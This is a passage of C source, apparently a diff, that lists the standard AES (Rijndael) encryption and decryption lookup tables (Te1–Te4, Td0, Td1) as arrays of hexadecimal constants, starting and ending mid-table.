0x0efdf3f3U, 0x6dbfd2d2U, + 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, + 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, + 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, + 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, + 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, + 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, + 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, + 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, + 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, + 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, + 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, + 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, + 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, + 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, + 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, + 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, + 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, + 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, + 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, + 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, + 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, + 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, + 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, + 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, + 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, + 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, + 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, + 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, + 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, + 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, + 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, + 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, +}; + +static const unsigned int Te2[256] = +{ + 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, + 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, + 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, + 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, + 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, + 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, + 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, + 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, + 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, + 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, + 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, + 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, + 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, + 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, + 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, + 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, + 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, + 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, + 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, + 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, + 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, + 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, + 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, + 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, + 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, + 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, + 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, + 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, + 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, + 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, + 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, + 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, + 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, + 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, + 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, + 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, + 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, + 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, + 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, + 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, + 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, + 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, + 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, + 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, + 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, + 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, + 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, + 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, + 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, + 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, + 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, + 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, + 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, + 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, + 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, + 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, + 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, + 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, + 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, + 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, + 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, + 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, + 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, + 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, +}; + +static const unsigned int Te3[256] = +{ + 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, + 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, + 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, + 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, + 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, + 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, + 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, + 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, + 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, + 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, + 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, + 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, + 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, + 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, + 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, + 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, + 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, + 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, + 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, + 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, + 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, + 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, + 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, + 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, + 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, + 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, + 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, + 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, + 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, + 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, + 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, + 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, + 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, + 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, + 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, + 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, + 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, + 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, + 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, + 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, + 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, + 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, + 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, + 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, + 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, + 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, + 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, + 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, + 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, + 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, + 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, + 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, + 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, + 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, + 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, + 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, + 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, + 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, + 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, + 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, + 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, + 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, + 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, + 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, +}; + +static const unsigned int Te4[256] = +{ + 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, + 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, + 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, + 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, + 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, + 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, + 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, + 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, + 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, + 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, + 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, + 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, + 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, + 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, + 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, + 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, + 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, + 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, + 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, + 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, + 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, + 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, + 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, + 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, + 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, + 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, + 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, + 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, + 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, + 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, + 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, + 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, + 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, + 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, + 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, + 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, + 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, + 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, + 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, + 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, + 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, + 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, + 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, + 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, + 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, + 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, + 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, + 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, + 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, + 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, + 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, + 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, + 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, + 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, + 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, + 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, + 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, + 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, + 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, + 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, + 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, + 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, + 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, + 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, +}; + +static const unsigned int Td0[256] = +{ + 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, + 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, + 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, + 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, + 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, + 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, + 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, + 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, + 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, + 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, + 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, + 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, + 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, + 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, + 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, + 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, + 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, + 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, + 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, + 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, + 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, + 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, + 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, + 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, + 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, + 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, + 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, + 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, + 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, + 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, + 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, + 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, + 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, + 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, + 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, + 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, + 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, + 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, + 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, + 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, + 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, + 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, + 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, + 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, + 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, + 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, + 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, + 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, + 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, + 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, + 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, + 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, + 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, + 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, + 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, + 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, + 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, + 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, + 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, + 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, + 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, + 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, + 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, + 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, +}; + +static const unsigned int Td1[256] = +{ + 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, + 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, + 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, + 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, + 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, + 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, + 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, + 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, + 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, + 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, + 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, + 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, + 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, + 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, + 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, + 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, + 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, + 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, + 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, + 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, + 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, + 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, + 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, + 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, + 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, + 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, + 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, + 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, + 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, + 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, + 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, + 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, + 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, + 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, + 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, + 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, + 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, + 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, + 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, + 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, + 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, + 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, + 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, + 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, + 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, + 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, + 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, + 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, + 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, + 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, + 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, + 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, + 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, + 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, + 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, + 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, + 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, + 0xeecea927U, 0x35b761c9U, 